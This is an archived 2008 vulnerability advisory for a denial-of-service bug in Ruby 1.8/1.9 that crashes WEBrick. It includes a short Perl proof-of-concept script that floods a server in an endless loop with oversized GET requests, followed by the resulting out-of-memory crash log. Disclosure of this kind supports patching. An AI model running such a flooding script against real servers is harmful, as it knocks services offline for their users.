88 lines
No EOL
2.4 KiB
Text
88 lines
No EOL
2.4 KiB
Text
-------------------------------------------------------
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Language : Ruby
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Web Site: www.ruby-lang.org
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Platform: All
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Bug: Remote Socket Memory Leak
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Products Affected:
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1.8 series:
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- 1.8.5 and all prior versions
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- 1.8.6-p286 and all prior versions
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- 1.8.7-p71 and all prior versions
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1.9 series
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- r18423 and all prior revisions
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Confirmed by the vendor: Yes
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Patch available : Yes
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-------------------------------------------------------
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1) Introduction
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2) Bug
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3) Proof of concept
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4) Credits
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===============
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1) Introduction
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===============
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"A dynamic, open source programming language with a focus on simplicity and productivity.
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It has an elegant syntax that is natural to read and easy to write."
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=======
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2) Bug
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=======
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Ruby fails to handle properly the memory allocated for a socket
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So when you send ~ 4 big request to a ruby socket, ruby will go
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in infinite loop, and then crash.
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The bug reside in the regex engine (in regex.c).
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==================
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3)Proof of concept
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===================
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This poc is an exemple for Webrick web server
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crap.pl :
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#!/usr/bin/perl
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use LWP::Simple;
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my $payload = "\x41" x 49999999;
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while(1)
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{
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print "[+]\n";
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get "http://127.0.0.1:2500/".$payload."";
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}
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Result (Exemple on Webrick web server):
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[2008-07-11 22:39:55] INFO WEBrick 1.3.1
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[2008-07-11 22:39:55] INFO ruby 1.8.6 (2007-09-24) [i486-linux]
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[2008-07-11 22:39:55] INFO WEBrick::HTTPServer#start: pid=13850 port=2500
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[2008-07-11 22:40:51] ERROR NoMemoryError: failed to allocate memory
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/usr/lib/ruby/1.8/webrick/httprequest.rb:228:in `read_request_line'
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/usr/lib/ruby/1.8/webrick/httprequest.rb:86:in `parse'
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/usr/lib/ruby/1.8/webrick/httpserver.rb:56:in `run'
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/usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'
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/usr/lib/ruby/1.8/webrick/server.rb:162:in `start'
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/usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'
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/usr/lib/ruby/1.8/webrick/server.rb:95:in `start'
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/usr/lib/ruby/1.8/webrick/server.rb:92:in `each'
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/usr/lib/ruby/1.8/webrick/server.rb:92:in `start'
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/usr/lib/ruby/1.8/webrick/server.rb:23:in `start'
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/usr/lib/ruby/1.8/webrick/server.rb:82:in `start'
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/home/audit/instiki-0.13.0/vendor/rails/railties/lib/webrick_server.rb:63:in `dispatch'
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script/server:62
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[FATAL] failed to allocate memory
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root@audit:/home/audit#
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=====
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5)Credits
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=====
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laurent gaffié
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laurent.gaffie{remove_this}[at]gmail[dot]com
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# milw0rm.com [2008-08-13] |